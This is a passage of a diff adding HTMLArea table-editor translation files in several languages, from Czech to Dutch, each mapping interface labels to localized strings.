+ "Padding": "Odsazování",\r\r
+ "Please click into some cell": "Prosím klikněte do některé buňky",\r\r
+ "Right": "Vpravo",\r\r
+ "Row Properties": "Vlastnosti řádku",\r\r
+ "Rules will appear between all rows and columns": "Čáry mezi všemi řádky i sloupci",\r\r
+ "Rules will appear between columns only": "Čáry pouze mezi sloupci",\r\r
+ "Rules will appear between rows only": "Čáry pouze mezi řádky",\r\r
+ "Rules": "Čáry",\r\r
+ "Spacing and padding": "Mezery a odsazování",\r\r
+ "Spacing": "Mezery",\r\r
+ "Summary": "Shrnutí",\r\r
+ "TO-cell-delete": "Smazat buňku",\r\r
+ "TO-cell-insert-after": "Vložit buňku za",\r\r
+ "TO-cell-insert-before": "Vložit buňku před",\r\r
+ "TO-cell-merge": "Spojit buňky",\r\r
+ "TO-cell-prop": "Vlastnosti buňky",\r\r
+ "TO-cell-split": "Rozdělit buňku",\r\r
+ "TO-col-delete": "Smazat sloupec",\r\r
+ "TO-col-insert-after": "Vložit sloupec za",\r\r
+ "TO-col-insert-before": "Vložit sloupec před",\r\r
+ "TO-col-split": "Rozdělit sloupec",\r\r
+ "TO-row-delete": "Smazat řádek",\r\r
+ "TO-row-insert-above": "Smazat řádek nad",\r\r
+ "TO-row-insert-under": "Smazat řádek pod",\r\r
+ "TO-row-prop": "Vlastnosti řádku",\r\r
+ "TO-row-split": "Rozdělit řádek",\r\r
+ "TO-table-prop": "Vlastnosti tabulky",\r\r
+ "Table Properties": "Vlastnosti tabulky",\r\r
+ "Text align": "Zarovnání textu",\r\r
+ "The bottom side only": "Pouze spodní strana",\r\r
+ "The left-hand side only": "Pouze levá strana",\r\r
+ "The right and left sides only": "Pouze levá a pravá strana",\r\r
+ "The right-hand side only": "Pouze pravá strana",\r\r
+ "The top and bottom sides only": "Pouze horní a dolní strana",\r\r
+ "The top side only": "Pouze horní strana",\r\r
+ "Top": "Nahoru", \r\r
+ "Unset color": "Zrušit barvu",\r\r
+ "Vertical align": "Svislé zarovnání",\r\r
+ "Width": "Šířka",\r\r
+ "not-del-last-cell": "HTMLArea zbaběle odmítá smazat poslední buňku v řádku.",\r\r
+ "not-del-last-col": "HTMLArea zbaběle odmítá smazat poslední sloupec v tabulce.",\r\r
+ "not-del-last-row": "HTMLArea zbaběle odmítá smazat poslední řádek v tabulce.",\r\r
+ "percent": "procent",\r\r
+ "pixels": "pixelů"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "da", ENCODING: UTF-8 | ISO-8859-1
+// Author: Steen Sønderup, <steen@soenderup.com>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+TableOperations.I18N = {
+ "Align": "Placer",
+ "All four sides": "Alle fire sider",
+ "Background": "Baggrund",
+ "Baseline": "Bundlinie",
+ "Border": "Kant",
+ "Borders": "Kanter",
+ "Bottom": "Bund",
+ "CSS Style": "Stil [CSS]",
+ "Caption": "Titel",
+ "Cell Properties": "Celle egenskaber",
+ "Center": "Centrer",
+ "Char": "Plads",
+ "Collapsed borders": "Sammensmelt rammer",
+ "Color": "Farve",
+ "Description": "Beskrivelse",
+ "FG Color": "Font farve",
+ "Float": "Justering",
+ "Frames": "Udvendig",
+ "Height": "Højde",
+ "How many columns would you like to merge?": "Hvor mange kollonner vil du samle?",
+ "How many rows would you like to merge?": "Hvor mange rækker vil du samle?",
+ "Image URL": "Billede URL",
+ "Justify": "Lige margener",
+ "Layout": "Opsætning",
+ "Left": "Venstre",
+ "Margin": "Margen",
+ "Middle": "Centrer",
+ "No rules": "Ingen rammer",
+ "No sides": "Ingen sider",
+ "None": "Ingen",
+ "Padding": "Margen",
+ "Please click into some cell": "Klik på en celle",
+ "Right": "Højre",
+ "Row Properties": "Række egenskaber",
+ "Rules will appear between all rows and columns": "Rammer mellem rækker og kolonner",
+ "Rules will appear between columns only": "Kun rammer mellem kolonner",
+ "Rules will appear between rows only": "Kun rammer mellem rækker",
+ "Rules": "Invendig",
+ "Spacing and padding": "Afstand og margen",
+ "Spacing": "Afstand",
+ "Summary": "Beskrivelse",
+ "TO-cell-delete": "Slet celle",
+ "TO-cell-insert-after": "Indsæt celle efter",
+ "TO-cell-insert-before": "Indsæt celle før",
+ "TO-cell-merge": "Sammensæt celler",
+ "TO-cell-prop": "Celle egenskaber",
+ "TO-cell-split": "Opdel celle",
+ "TO-col-delete": "Slet kollonne",
+ "TO-col-insert-after": "Indsæt kolonne efter",
+ "TO-col-insert-before": "Indsæt kolonne før",
+ "TO-col-split": "Opdel kolonne",
+ "TO-row-delete": "Slet række",
+ "TO-row-insert-above": "Indsæt række før",
+ "TO-row-insert-under": "Indsæt række efter",
+ "TO-row-prop": "Række egenskaber",
+ "TO-row-split": "Opdel række",
+ "TO-table-prop": "Tabel egenskaber",
+ "Table Properties": "Tabel egenskaber",
+ "Text align": "Tekst",
+ "The bottom side only": "Kun i bunden",
+ "The left-hand side only": "Kun i højre side",
+ "The right and left sides only": "Kun i siderne",
+ "The right-hand side only": "Kun i venstre side",
+ "The top and bottom sides only": "Kun i top og bund",
+ "The top side only": "Kun i toppen",
+ "Top": "Top",
+ "Unset color": "Farve ikke valgt",
+ "Vertical align": "Vertikal placering",
+ "Width": "Bredde",
+ "not-del-last-cell": "Du kan ikke slette den sidste celle i en række.",
+ "not-del-last-col": "Du kan ikke slette den sidste kolonne i en tabel.",
+ "not-del-last-row": "Du kan ikke slette den sidste række i en tabel.",
+ "percent": "procent",
+ "pixels": "pixel"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "de", ENCODING: UTF-8 | ISO-8859-1
+// Author: broxx, <broxx@broxx.com>
+
+TableOperations.I18N = {
+ "Align": "Ausrichten",
+ "All four sides": "Alle 4 Seiten",
+ "Background": "Hintergrund",
+ "Baseline": "Basislinie",
+ "Border": "Rand",
+ "Borders": "Raender",
+ "Bottom": "Unten",
+ "CSS Style": "Style [CSS]",
+ "Caption": "Ueberschrift",
+ "Cell Properties": "Zellen",
+ "Center": "Zentrieren",
+ "Char": "Zeichen",
+ "Collapsed borders": "Collapsed borders",
+ "Color": "Farbe",
+ "Description": "Beschreibung",
+ "FG Color": "FG Farbe",
+ "Float": "Ausrichtung",
+ "Frames": "Rahmen",
+ "Height": "Hoehe",
+ "How many columns would you like to merge?": "Wieviele Spalten willst du verbinden?",
+ "How many rows would you like to merge?": "Wieviele Zeilen willst du verbinden?",
+ "Image URL": "Bild URL",
+ "Justify": "Justieren",
+ "Layout": "Layout",
+ "Left": "Links",
+ "Margin": "Rand",
+ "Middle": "Mitte",
+ "No rules": "Keine Balken",
+ "No sides": "Keine Seiten",
+ "None": "Keine",
+ "Padding": "Auffuellung",
+ "Please click into some cell": "Waehle eine Zelle",
+ "Right": "Rechts",
+ "Row Properties": "Reihen",
+ "Rules will appear between all rows and columns": "Balken zwischen Reihen und Spalten",
+ "Rules will appear between columns only": "Balken zwischen Spalten",
+ "Rules will appear between rows only": "Balken zwischen Reihen",
+ "Rules": "Balken",
+ "Spacing and padding": "Abstaende",
+ "Spacing": "Abstand",
+ "Summary": "Zusammenfassung",
+ "TO-cell-delete": "Zelle loeschen",
+ "TO-cell-insert-after": "Zelle einfuegen nach",
+ "TO-cell-insert-before": "Zelle einfuegen bevor",
+ "TO-cell-merge": "Zellen zusammenfuegen",
+ "TO-cell-prop": "Zelleinstellungen",
+ "TO-cell-split": "Zellen aufteilen",
+ "TO-col-delete": "Spalte loeschen",
+ "TO-col-insert-after": "Spalte einfuegen nach",
+ "TO-col-insert-before": "Spalte einfuegen bevor",
+ "TO-col-split": "Spalte aufteilen",
+ "TO-row-delete": "Reihe loeschen",
+ "TO-row-insert-above": "Reihe einfuegen vor",
+ "TO-row-insert-under": "Reihe einfuegen nach",
+ "TO-row-prop": "Reiheneinstellungen",
+ "TO-row-split": "Reihen aufteilen",
+ "TO-table-prop": "Tabelle",
+ "Table Properties": "Tabelle",
+ "Text align": "Ausrichtung",
+ "The bottom side only": "Nur untere Seite",
+ "The left-hand side only": "Nur linke Seite",
+ "The right and left sides only": "Nur linke und rechte Seite",
+ "The right-hand side only": "Nur rechte Seite",
+ "The top and bottom sides only": "Nur obere und untere Seite",
+ "The top side only": "Nur obere Seite",
+ "Top": "Oben",
+ "Unset color": "Farbe",
+ "Vertical align": "Ausrichtung",
+ "Width": "Breite",
+ "not-del-last-cell": "Letzte Zelle in dieser Reihe!",
+ "not-del-last-col": "Letzte Spalte in dieser Tabelle!",
+ "not-del-last-row": "Letzte Reihe in dieser Tabelle",
+ "percent": "%",
+ "pixels": "pixels"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "el", ENCODING: UTF-8 | ISO-8859-7
+// Author: Dimitris Glezos, dimitris@glezos.com
+
+TableOperations.I18N = {
+ "Align": "Στοίχηση",
+ "All four sides": "Και οι 4 πλευρές",
+ "Background": "Φόντο",
+ "Baseline": "Baseline",
+ "Border": "Περίγραμμα",
+ "Borders": "Περιγράμματα",
+ "Bottom": "Κάτω μέρος",
+ "CSS Style": "Στυλ [CSS]",
+ "Caption": "Λεζάντα",
+ "Cell Properties": "Ιδιότητες Κελιού",
+ "Center": "Κέντρο",
+ "Char": "Χαρακτήρας",
+ "Collapsed borders": "Συμπτυγμένα περιγράμματα",
+ "Color": "Χρώμα",
+ "Description": "Περιγραφή",
+ "FG Color": "Χρώμα αντικειμένων",
+ "Float": "Float",
+ "Frames": "Frames",
+ "Height": "Ύψος",
+ "How many columns would you like to merge?": "Πόσες στήλες θέλετε να ενώσετε;",
+ "How many rows would you like to merge?": "Πόσες γραμμές θέλετε να ενώσετε;",
+ "Image URL": "URL εικόνας",
+ "Justify": "Πλήρης στοίχηση",
+ "Layout": "Διάταξη",
+ "Left": "Αριστερά",
+ "Margin": "Περιθώριο",
+ "Middle": "Κέντρο",
+ "No rules": "Χωρίς Γραμμές",
+ "No sides": "No sides",
+ "None": "Τίποτα",
+ "Padding": "Εσοχή",
+ "Please click into some cell": "Κάντε κλικ μέσα σε κάποιο κελί",
+ "Right": "Δεξιά",
+ "Row Properties": "Ιδιότητες Γραμμής",
+ "Rules will appear between all rows and columns": "Γραμμές θα εμφανίζονται μεταξύ όλων των γραμμών και στηλών",
+ "Rules will appear between columns only": "Γραμμές θα εμφανίζονται μόνο μεταξύ στηλών",
+ "Rules will appear between rows only": "Γραμμές θα εμφανίζονται μόνο μεταξύ γραμμών",
+ "Rules": "Γραμμές",
+ "Spacing and padding": "Αποστάσεις και εσοχές",
+ "Spacing": "Αποστάσεις",
+ "Summary": "Σύνοψη",
+ "TO-cell-delete": "Διαγραφή κελιού",
+ "TO-cell-insert-after": "Εισαγωγή κελιού μετά",
+ "TO-cell-insert-before": "Εισαγωγή κελιού πριν",
+ "TO-cell-merge": "Συγχώνευση κελιών",
+ "TO-cell-prop": "Ιδιότητες κελιού",
+ "TO-cell-split": "Διαίρεση κελιού",
+ "TO-col-delete": "Διαγραφή στήλης",
+ "TO-col-insert-after": "Εισαγωγή στήλης μετά",
+ "TO-col-insert-before": "Εισαγωγή στήλης πριν",
+ "TO-col-split": "Διαίρεση στήλης",
+ "TO-row-delete": "Διαγραφή γραμμής",
+ "TO-row-insert-above": "Εισαγωγή γραμμής μετά",
+ "TO-row-insert-under": "Εισαγωγή γραμμής πριν",
+ "TO-row-prop": "Ιδιότητες γραμμής",
+ "TO-row-split": "Διαίρεση γραμμής",
+ "TO-table-prop": "Ιδιότητες πίνακα",
+ "Table Properties": "Ιδιότητες πίνακα",
+ "Text align": "Στοίχηση κειμένου",
+ "The bottom side only": "Η κάτω πλευρά μόνο",
+ "The left-hand side only": "Η αριστερή πλευρά μόνο",
+ "The right and left sides only": "Οι δεξιές και αριστερές πλευρές μόνο",
+ "The right-hand side only": "Η δεξιά πλευρά μόνο",
+ "The top and bottom sides only": "Οι πάνω και κάτω πλευρές μόνο",
+ "The top side only": "Η πάνω πλευρά μόνο",
+ "Top": "Πάνω",
+ "Unset color": "Αναίρεση χρώματος",
+ "Vertical align": "Κατακόρυφη στοίχηση",
+ "Width": "Πλάτος",
+ "not-del-last-cell": "Δεν μπορεί να διαγραφεί το τελευταίο κελί σε μια γραμμή.",
+ "not-del-last-col": "Δεν μπορεί να διαγραφεί η τελευταία στήλη σε ένα πίνακα.",
+ "not-del-last-row": "Δεν μπορεί να διαγραφεί η τελευταία γραμμή σε ένα πίνακα.",
+ "percent": "τοις εκατόν",
+ "pixels": "pixels"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+TableOperations.I18N = {
+ "Align": "Align",
+ "All four sides": "All four sides",
+ "Background": "Background",
+ "Baseline": "Baseline",
+ "Border": "Border",
+ "Borders": "Borders",
+ "Bottom": "Bottom",
+ "CSS Style": "Style [CSS]",
+ "Caption": "Caption",
+ "Cell Properties": "Cell Properties",
+ "Center": "Center",
+ "Char": "Char",
+ "Collapsed borders": "Collapsed borders",
+ "Color": "Color",
+ "Description": "Description",
+ "FG Color": "FG Color",
+ "Float": "Float",
+ "Frames": "Frames",
+ "Height": "Height",
+ "How many columns would you like to merge?": "How many columns would you like to merge?",
+ "How many rows would you like to merge?": "How many rows would you like to merge?",
+ "Image URL": "Image URL",
+ "Justify": "Justify",
+ "Layout": "Layout",
+ "Left": "Left",
+ "Margin": "Margin",
+ "Middle": "Middle",
+ "No rules": "No rules",
+ "No sides": "No sides",
+ "None": "None",
+ "Padding": "Padding",
+ "Please click into some cell": "Please click into some cell",
+ "Right": "Right",
+ "Row Properties": "Row Properties",
+ "Rules will appear between all rows and columns": "Rules will appear between all rows and columns",
+ "Rules will appear between columns only": "Rules will appear between columns only",
+ "Rules will appear between rows only": "Rules will appear between rows only",
+ "Rules": "Rules",
+ "Spacing and padding": "Spacing and padding",
+ "Spacing": "Spacing",
+ "Summary": "Summary",
+ "TO-cell-delete": "Delete cell",
+ "TO-cell-insert-after": "Insert cell after",
+ "TO-cell-insert-before": "Insert cell before",
+ "TO-cell-merge": "Merge cells",
+ "TO-cell-prop": "Cell properties",
+ "TO-cell-split": "Split cell",
+ "TO-col-delete": "Delete column",
+ "TO-col-insert-after": "Insert column after",
+ "TO-col-insert-before": "Insert column before",
+ "TO-col-split": "Split column",
+ "TO-row-delete": "Delete row",
+ "TO-row-insert-above": "Insert row before",
+ "TO-row-insert-under": "Insert row after",
+ "TO-row-prop": "Row properties",
+ "TO-row-split": "Split row",
+ "TO-table-prop": "Table properties",
+ "Table Properties": "Table Properties",
+ "Text align": "Text align",
+ "The bottom side only": "The bottom side only",
+ "The left-hand side only": "The left-hand side only",
+ "The right and left sides only": "The right and left sides only",
+ "The right-hand side only": "The right-hand side only",
+ "The top and bottom sides only": "The top and bottom sides only",
+ "The top side only": "The top side only",
+ "Top": "Top",
+ "Unset color": "Unset color",
+ "Vertical align": "Vertical align",
+ "Width": "Width",
+ "not-del-last-cell": "HTMLArea cowardly refuses to delete the last cell in row.",
+ "not-del-last-col": "HTMLArea cowardly refuses to delete the last column in table.",
+ "not-del-last-row": "HTMLArea cowardly refuses to delete the last row in table.",
+ "percent": "percent",
+ "pixels": "pixels"
+};
--- /dev/null
+TableOperations.I18N = {
+ "Align": "Kohdistus",
+ "All four sides": "Kaikki neljä sivua",
+ "Background": "Tausta",
+ "Baseline": "Takaraja",
+ "Border": "Reuna",
+ "Borders": "Reunat",
+ "Bottom": "Alle",
+ "CSS Style": "Tyyli [CSS]",
+ "Caption": "Otsikko",
+ "Cell Properties": "Solun asetukset",
+ "Center": "Keskelle",
+ "Char": "Merkki",
+ "Collapsed borders": "Luhistetut reunat",
+ "Color": "Väri",
+ "Description": "Kuvaus",
+ "FG Color": "FG Väri",
+ "Frames": "Kehykset",
+ "Image URL": "Kuvan osoite",
+ "Layout": "Sommittelu",
+ "Left": "Vasen",
+ "Margin": "Marginaali",
+ "Middle": "Keskelle",
+ "No rules": "Ei viivoja",
+ "No sides": "Ei sivuja",
+ "Padding": "Palstantäyte",
+ "Right": "Oikea",
+ "Row Properties": "Rivin asetukset",
+ "Rules will appear between all rows and columns": "Viivat jokaisen rivin ja sarakkeen välillä",
+ "Rules will appear between columns only": "Viivat ainoastaan sarakkeiden välillä",
+ "Rules will appear between rows only": "Viivat ainoastaan rivien välillä",
+ "Rules": "Viivat",
+ "Spacing": "Palstatila",
+ "Summary": "Yhteenveto",
+ "TO-cell-delete": "Poista solu",
+ "TO-cell-insert-after": "Lisää solu perään",
+ "TO-cell-insert-before": "Lisää solu ennen",
+ "TO-cell-merge": "Yhdistä solut",
+ "TO-cell-prop": "Solun asetukset",
+ "TO-cell-split": "Jaa solu",
+ "TO-col-delete": "Poista sarake",
+ "TO-col-insert-after": "Lisää sarake perään",
+ "TO-col-insert-before": "Lisää sarake ennen",
+ "TO-col-split": "Jaa sarake",
+ "TO-row-delete": "Poista rivi",
+ "TO-row-insert-above": "Lisää rivi yläpuolelle",
+ "TO-row-insert-under": "Lisää rivi alapuolelle",
+ "TO-row-prop": "Rivin asetukset",
+ "TO-row-split": "Jaa rivi",
+ "TO-table-prop": "Taulukon asetukset",
+ "Top": "Ylös",
+ "Table Properties": "Taulukon asetukset",
+ "The bottom side only": "Ainoastaan alapuolelle",
+ "The left-hand side only": "Ainoastaan vasenreuna",
+ "The right and left sides only": "Oikea- ja vasenreuna",
+ "The right-hand side only": "Ainoastaan oikeareuna",
+ "The top and bottom sides only": "Ylä- ja alapuoli.",
+ "The top side only": "Ainoastaan yläpuoli",
+ "Vertical align": "Vertikaali kohdistus",
+ "Width": "Leveys",
+ "not-del-last-cell": "Ei voida poistaa viimeistä solua rivistä.",
+ "not-del-last-col": "Ei voida poistaa viimeistä saraketta taulusta.",
+ "not-del-last-row": "Ei voida poistaa viimeistä riviä taulusta.",
+ "percent": "prosenttia",
+ "pixels": "pikseliä"
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+ "Align": "ישור",\r\r
+ "All four sides": "כל ארבעת הצדדים",\r\r
+ "Background": "רקע",\r\r
+ "Baseline": "קו בסיס",\r\r
+ "Border": "גבול",\r\r
+ "Borders": "גבולות",\r\r
+ "Bottom": "תחתון",\r\r
+ "CSS Style": "סגנון [CSS]",\r\r
+ "Caption": "כותרת",\r\r
+ "Cell Properties": "מאפייני תא",\r\r
+ "Center": "מרכז",\r\r
+ "Char": "תו",\r\r
+ "Collapsed borders": "גבולות קורסים",\r\r
+ "Color": "צבע",\r\r
+ "Description": "תיאור",\r\r
+ "FG Color": "צבע קידמה",\r\r
+ "Float": "מרחף",\r\r
+ "Frames": "מסגרות",\r\r
+ "Height": "גובה",\r\r
+ "How many columns would you like to merge?": "כמה טורים ברצונך למזג?",\r\r
+ "How many rows would you like to merge?": "כמה שורות ברצונך למזג?",\r\r
+ "Image URL": "URL התמונה",\r\r
+ "Justify": "ישור",\r\r
+ "Layout": "פריסה",\r\r
+ "Left": "שמאל",\r\r
+ "Margin": "שוליים",\r\r
+ "Middle": "אמצע",\r\r
+ "No rules": "ללא קווים",\r\r
+ "No sides": "ללא צדדים",\r\r
+ "None": "אין",\r\r
+ "Padding": "ריווח בשוליים",\r\r
+ "Please click into some cell": "אנא לחץ על תא כלשהו",\r\r
+ "Right": "ימין",\r\r
+ "Row Properties": "מאפייני שורה",\r\r
+ "Rules will appear between all rows and columns": "קווים יופיעו בין כל השורות והטורים",\r\r
+ "Rules will appear between columns only": "קווים יופיעו בין טורים בלבד",\r\r
+ "Rules will appear between rows only": "קווים יופיעו בין שורות בלבד",\r\r
+ "Rules": "קווים",\r\r
+ "Spacing and padding": "ריווח ושוליים",\r\r
+ "Spacing": "ריווח",\r\r
+ "Summary": "סיכום",\r\r
+ "TO-cell-delete": "מחק תא",\r\r
+ "TO-cell-insert-after": "הכנס תא אחרי",\r\r
+ "TO-cell-insert-before": "הכנס תא לפני",\r\r
+ "TO-cell-merge": "מזג תאים",\r\r
+ "TO-cell-prop": "מאפייני תא",\r\r
+ "TO-cell-split": "פצל תא",\r\r
+ "TO-col-delete": "מחק טור",\r\r
+ "TO-col-insert-after": "הכנס טור אחרי",\r\r
+ "TO-col-insert-before": "הכנס טור לפני",\r\r
+ "TO-col-split": "פצל טור",\r\r
+ "TO-row-delete": "מחק שורה",\r\r
+ "TO-row-insert-above": "הכנס שורה לפני",\r\r
+ "TO-row-insert-under": "הכנס שורה אחרי",\r\r
+ "TO-row-prop": "מאפייני שורה",\r\r
+ "TO-row-split": "פצל שורה",\r\r
+ "TO-table-prop": "מאפייני טבלה",\r\r
+ "Table Properties": "מאפייני טבלה",\r\r
+ "Text align": "ישור טקסט",\r\r
+ "The bottom side only": "הצד התחתון בלבד",\r\r
+ "The left-hand side only": "הצד השמאלי בלבד",\r\r
+ "The right and left sides only": "הצדדים הימני והשמאלי בלבד",\r\r
+ "The right-hand side only": "הצד הימני בלבד",\r\r
+ "The top and bottom sides only": "הצדדים העליון והתחתון בלבד",\r\r
+ "The top side only": "הצד העליון בלבד",\r\r
+ "Top": "עליון", \r\r
+ "Unset color": "צבע לא נבחר",\r\r
+ "Vertical align": "יישור אנכי",\r\r
+ "Width": "רוחב",\r\r
+ "not-del-last-cell": "HTMLArea מסרב בפחדנות למחוק את התא האחרון בשורה.",\r\r
+ "not-del-last-col": "HTMLArea מסרב בפחדנות למחוק את הטור האחרון בטבלה.",\r\r
+ "not-del-last-row": "HTMLArea מסרב בפחדנות למחוק את השורה האחרונה בטבלה.",\r\r
+ "percent": "אחוז",\r\r
+ "pixels": "פיקסלים"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "hu", ENCODING: UTF-8
+// Author: Miklós Somogyi, <somogyine@vnet.hu>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "hu",
+
+ tooltips: {
+ bold: "Félkövér",
+ italic: "Dőlt",
+ underline: "Aláhúzott",
+ strikethrough: "Áthúzott",
+ subscript: "Alsó index",
+ superscript: "Felső index",
+ justifyleft: "Balra zárt",
+ justifycenter: "Középre zárt",
+ justifyright: "Jobbra zárt",
+ justifyfull: "Sorkizárt",
+ orderedlist: "Számozott lista",
+ unorderedlist: "Számozatlan lista",
+ outdent: "Behúzás csökkentése",
+ indent: "Behúzás növelése",
+ forecolor: "Karakterszín",
+ hilitecolor: "Háttérszín",
+ horizontalrule: "Elválasztó vonal",
+ createlink: "Hiperhivatkozás beszúrása",
+ insertimage: "Kép beszúrása",
+ inserttable: "Táblázat beszúrása",
+ htmlmode: "HTML forrás be/ki",
+ popupeditor: "Szerkesztő külön ablakban",
+ about: "Névjegy",
+ showhelp: "Súgó",
+ textindicator: "Aktuális stílus",
+ undo: "Visszavonás",
+ redo: "Újra végrehajtás",
+ cut: "Kivágás",
+ copy: "Másolás",
+ paste: "Beillesztés"
+ },
+
+ buttons: {
+ "ok": "Rendben",
+ "cancel": "Mégsem"
+ },
+
+ msg: {
+ "Path": "Hierarchia",
+ "TEXT_MODE": "Forrás mód. Visszaváltás [<>] gomb"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "it", ENCODING: UTF-8 | ISO-8859-1
+// Author: Fabio Rotondo <fabio@rotondo.it>
+
+TableOperations.I18N = {
+ "Align": "Allinea",
+ "All four sides": "Tutti e quattro i lati",
+ "Background": "Sfondo",
+ "Baseline": "Allineamento",
+ "Border": "Bordo",
+ "Borders": "Bordi",
+ "Bottom": "Basso",
+ "CSS Style": "Stile [CSS]",
+ "Caption": "Titolo",
+ "Cell Properties": "Proprietà della Cella",
+ "Center": "Centra",
+ "Char": "Carattere",
+ "Collapsed borders": "Bordi chiusi",
+ "Color": "Colore",
+ "Description": "Descrizione",
+ "FG Color": "Colore Principale",
+ "Float": "Fluttuante",
+ "Frames": "Frames",
+ "Height": "Altezza",
+ "How many columns would you like to merge?": "Quante colonne vuoi unire?",
+ "How many rows would you like to merge?": "Quante righe vuoi unire?",
+ "Image URL": "URL dell'Immagine",
+ "Justify": "Justifica",
+ "Layout": "Layout",
+ "Left": "Sinistra",
+ "Margin": "Margine",
+ "Middle": "Centrale",
+ "No rules": "Nessun righello",
+ "No sides": "Nessun lato",
+ "None": "Nulla",
+ "Padding": "Padding",
+ "Please click into some cell": "Per favore, clicca in una cella",
+ "Right": "Destra",
+ "Row Properties": "Proprietà della Riga",
+ "Rules will appear between all rows and columns": "Le linee appariranno tra tutte le righe e colonne",
+ "Rules will appear between columns only": "Le linee appariranno solo tra le colonne",
+ "Rules will appear between rows only": "Le linee appariranno solo tra le righe",
+ "Rules": "Linee",
+ "Spacing and padding": "Spaziatura e Padding",
+ "Spacing": "Spaziatura",
+ "Summary": "Sommario",
+ "TO-cell-delete": "Cancella cella",
+ "TO-cell-insert-after": "Inserisci cella dopo",
+ "TO-cell-insert-before": "Inserisci cella prima",
+ "TO-cell-merge": "Unisci celle",
+ "TO-cell-prop": "Proprietà della cella",
+ "TO-cell-split": "Dividi cella",
+ "TO-col-delete": "Cancella colonna",
+ "TO-col-insert-after": "Inserisci colonna dopo",
+ "TO-col-insert-before": "Inserisci colonna prima",
+ "TO-col-split": "Dividi colonna",
+ "TO-row-delete": "Cancella riga",
+ "TO-row-insert-above": "Inserisci riga prima",
+ "TO-row-insert-under": "Inserisci riga dopo",
+ "TO-row-prop": "Proprietà della riga",
+ "TO-row-split": "Dividi riga",
+ "TO-table-prop": "Proprietà della Tabella",
+ "Table Properties": "Proprietà della Tabella",
+ "Text align": "Allineamento del Testo",
+ "The bottom side only": "Solo la parte inferiore",
+ "The left-hand side only": "Solo la parte sinistra",
+ "The right and left sides only": "Solo destra e sinistra",
+ "The right-hand side only": "Solo la parte destra",
+ "The top and bottom sides only": "Solo sopra e sotto",
+ "The top side only": "Solo la parte sopra",
+ "Top": "Alto",
+ "Unset color": "Rimuovi colore",
+ "Vertical align": "Allineamento verticale",
+ "Width": "Larghezza",
+ "not-del-last-cell": "HTMLArea si rifiuta codardamente di cancellare l'ultima cella nella riga.",
+ "not-del-last-col": "HTMLArea si rifiuta codardamente di cancellare l'ultima colonna nella tabella.",
+ "not-del-last-row": "HTMLArea si rifiuta codardamente di cancellare l'ultima riga nella tabella.",
+ "percent": "percento",
+ "pixels": "pixels"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "nl", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Michel Weegeerink (info@mmc-shop.nl), http://mmc-shop.nl\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+ "Align": "Uitlijning",\r\r
+ "All four sides": "Alle 4 zijden",\r\r
+ "Background": "Achtergrond",\r\r
+ "Baseline": "Basis",\r\r
+ "Border": "Rand",\r\r
+ "Borders": "Randen",\r\r
+ "Bottom": "Onder",\r\r
+ "CSS Style": "CSS Style",\r\r
+ "Caption": "Opmerking",\r\r
+ "Cell Properties": "Celeigenschappen",\r\r
+ "Center": "Centreren",\r\r
+ "Char": "Karakter",\r\r
+ "Collapsed borders": "Geen randen",\r\r
+ "Color": "Kleur",\r\r
+ "Description": "Omschrijving",\r\r
+ "FG Color": "Voorgrond",\r\r
+ "Float": "Zwevend",\r\r
+ "Frames": "Frames",\r\r
+ "Height": "Hoogte",\r\r
+ "How many columns would you like to merge?": "Hoeveel kolommen wilt u samenvoegen?",\r\r
+ "How many rows would you like to merge?": "Hoeveel rijen wilt u samenvoegen?",\r\r
+ "Image URL": "Afbeelding URL",\r\r
+ "Justify": "Uitvullen",\r\r
+ "Layout": "Opmaak",\r\r
+ "Left": "Links",\r\r
+ "Margin": "Marge",\r\r
+ "Middle": "Midden",\r\r
+ "No rules": "Geen regels",\r\r
+ "No sides": "Geen zijlijnen",\r\r
+ "None": "Geen",\r\r
+ "Padding": "Celmarge",\r\r
+ "Please click into some cell": "Klik in een cel a.u.b.",\r\r
+ "Right": "Rechts",\r\r
+ "Row Properties": "Rijeigenschappen",\r\r
+ "Rules will appear between all rows and columns": "Regels verschijnen tussen alle rijen en kolommen",\r\r
+ "Rules will appear between columns only": "Regels verschijnen enkel tussen de kolommen",\r\r
